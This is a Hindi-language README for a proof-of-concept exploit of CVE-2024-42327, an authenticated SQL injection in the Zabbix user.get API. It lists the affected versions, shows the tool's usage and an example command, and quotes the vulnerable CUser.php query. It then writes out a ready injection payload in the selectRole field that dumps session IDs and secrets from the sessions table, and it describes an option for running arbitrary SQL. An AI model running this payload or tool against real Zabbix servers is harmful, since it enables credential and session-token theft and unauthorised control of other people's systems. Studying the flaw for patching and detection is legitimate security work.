
CVE-2024-42327 के लिए POC, जो Zabbix में user.get API Method के माध्यम से एक प्रमाणित SQL Injection है।
CVE-2024-42327 के लिए POC, Zabbix में user.get API Method के माध्यम से एक प्रमाणित SQL इंजेक्शन। यह POC कुछ अन्य POCs की तरह समय-आधारित नहीं है जो मैंने वहाँ देखे हैं।
यह भेद्यता user.get API एंडपॉइंट में मौजूद है, जिसका शोषण API एक्सेस वाला कोई भी गैर-एडमिन उपयोगकर्ता कर सकता है, जिसमें डिफ़ॉल्ट User भूमिका वाले खाते शामिल हैं।
SQL इंजेक्शन दोष addRelatedObjects फ़ंक्शन में CUser वर्ग में मौजूद है। यह फ़ंक्शन CUser.get फ़ंक्शन से कॉल किया जा रहा है, जो API एक्सेस वाले उपयोगकर्ताओं के लिए उपलब्ध है।
एक हमलावर API कॉल्स में हेरफेर करके SQL कमांड इंजेक्ट कर सकता है।
भेद्यता का सफल शोषण हमलावर को अनधिकृत पहुंच और नियंत्रण प्राप्त करने की अनुमति दे सकता है।
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
यह POC डेटाबेस से उपयोगकर्ता क्रेडेंशियल्स लीक करेगा, साथ ही API के साथ प्रमाणित करने के लिए सत्र टोकन भी लीक करेगा।
कस्टम SQL क्वेरी (--query) चलाने का विकल्प मौजूद है।
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.
options:
-h, --help show this help message and exit
-u URL, --url URL The URL to Zabbix (please include the path - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
The username to authenticate with
-P PASSWORD, --password PASSWORD
The password to authenticate with
--query QUERY An optional custom SQL query to run through the SQL Injection
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php पर कोड की जांच करने पर, addRelatedObjects फ़ंक्शन में, हम आसानी से भेद्य SQL क्वेरी (पंक्तियाँ 3046 - 3051) पाते हैं।
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
यह तुरंत स्पष्ट है कि $options['selectRole'] में शामिल मान SQL क्वेरी में पास किए जाते हैं।
इस कोड भाग को हिट करने के लिए एक सामान्य JSON ब्लॉब निम्नानुसार दिखता है:
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
हम SQL इंजेक्शन की अनुमति देने के लिए "selectRole" मानों को तैयार कर सकते हैं।
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
उपरोक्त इंजेक्शन SQL क्वेरी को कुछ इस प्रकार बनाता है:
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)